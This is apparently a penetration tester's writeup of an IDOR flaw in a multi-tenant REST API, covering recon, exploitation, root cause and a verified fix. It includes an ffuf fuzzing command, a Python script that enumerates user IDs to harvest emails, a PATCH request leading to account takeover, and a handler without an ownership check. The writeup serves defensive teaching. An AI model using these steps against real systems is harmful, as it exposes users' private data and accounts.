Skip to main content
L Jyothendra
Writeups
Web Security

Broken object-level authorization in a REST API: from IDOR to full account takeover

JYOTHENDRA · 09 Aug 2026 · 8 min read

A walkthrough of finding and exploiting an IDOR in a REST API that let any authenticated user read and modify other users' data, plus the fix and how I'd catch this class of bug faster next time.

Context

This is a writeup of a broken object-level authorization (BOLA/IDOR) issue I found while testing a REST API backing a multi-tenant web application. The API followed a common pattern: numeric, sequential resource IDs exposed directly in URLs, with authorization checks that verified the caller was logged in but never verified the caller owned the resource being requested.

This class of bug is OWASP API Security Top 10 #1 for a reason. It is boring to find and devastating when it lands.

Enumeration

The app exposed a REST API under /api/v1/. Standard recon first:

$ ffuf -u https://target/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -H "Authorization: Bearer $TOKEN" -mc all -fc 404

This surfaced /api/v1/users/{id}/profile, /api/v1/users/{id}/invoices, and /api/v1/users/{id}/documents. Each accepted a numeric ID. I logged in as a low-privilege test account and captured a normal request in Burp:

GET /api/v1/users/1042/profile HTTP/1.1
Host: target
Authorization: Bearer eyJhbGciOi...

1042 was my own user ID, visible in the JWT payload and in the frontend's local storage. That immediately raises the question every API pentest should ask: what happens if I request an ID that isn't mine?

The vulnerability

GET /api/v1/users/1041/profile HTTP/1.1
Host: target
Authorization: Bearer eyJhbGciOi...   <- still my own token

Response: 200 OK with a full profile object for a different user — name, email, phone, billing address. No 403, no 404, nothing to suggest the server checked ownership at all.

I scripted a quick sweep to confirm the scope of the issue and check whether write operations were affected too:

import requests

BASE = "https://target/api/v1"
TOKEN = "eyJhbGciOi..."
HEADERS = {"Authorization": f"Bearer {TOKEN}"}

for uid in range(1, 1100):
    r = requests.get(f"{BASE}/users/{uid}/profile", headers=HEADERS, timeout=5)
    if r.status_code == 200:
        print(uid, r.json().get("email"))

Confirmed: every user ID in the range returned data. The /invoices endpoint leaked billing history including partial card numbers. The /documents endpoint returned presigned download URLs for uploaded KYC files.

Then the escalation. PATCH /api/v1/users/{id}/profile accepted the same missing check:

PATCH /api/v1/users/1041/profile HTTP/1.1
Host: target
Authorization: Bearer eyJhbGciOi...
Content-Type: application/json

{"email": "attacker@evil.example"}

That returned 200 OK and updated the victim's account email. Combined with a "forgot password" flow that emailed a reset link, this was a direct path to full account takeover of any user by ID: enumerate valid IDs, overwrite the email, trigger password reset, take the account.

Root cause

The API's authorization middleware only checked "is this a valid, non-expired JWT" — it never compared the user_id claim inside the token against the {id} path parameter on the resource being accessed. Object-level checks were assumed to happen "somewhere else" and didn't.

Impact

  • Full read access to every user's PII, billing data, and uploaded documents
  • Write access sufficient for account takeover on any account by iterating a predictable ID space
  • No logging or rate limiting on the affected endpoints, so this would be invisible to the target in a real incident

Fix

The remediation applied by the dev team, which I verified in retest:

# Before: no ownership check
@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: int, current_user: User = Depends(get_current_user)):
    return db.get_profile(user_id)

# After: enforce ownership (or explicit role-based override)
@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: int, current_user: User = Depends(get_current_user)):
    if user_id != current_user.id and not current_user.is_admin:
        raise HTTPException(status_code=403)
    return db.get_profile(user_id)

They also moved to non-sequential (UUID) identifiers as defense in depth, and added tests that specifically exercise cross-tenant access attempts in CI.

Lessons learned

  • Authentication is not authorization. A valid token proves who you are, not what you're allowed to touch. Every handler that takes a resource ID from the client needs an explicit ownership or role check, and that check should not be optional or "handled upstream."
  • Sequential IDs make this bug trivial to find and trivial to exploit at scale. Non-guessable identifiers don't fix the missing check, but they raise the cost of blind enumeration and buy time for detection.
  • When retesting API auth, always test the ID-swap on every verb (GET/PATCH/PUT/DELETE), not just GET. Read-only IDOR and write IDOR are reported as the same bug class but have very different severity, and teams sometimes patch only the read path.
  • Add this exact check to my API testing checklist: for every endpoint parameterized by an object ID, replay the request with a second authenticated account's token against the first account's ID, in both directions.

References

  • PortSwigger Web Security Academy: Access control vulnerabilities and privilege escalation
  • OWASP API Security Top 10: API1 Broken Object Level Authorization
  • OWASP Authorization Testing Guide (WSTG-ATHZ)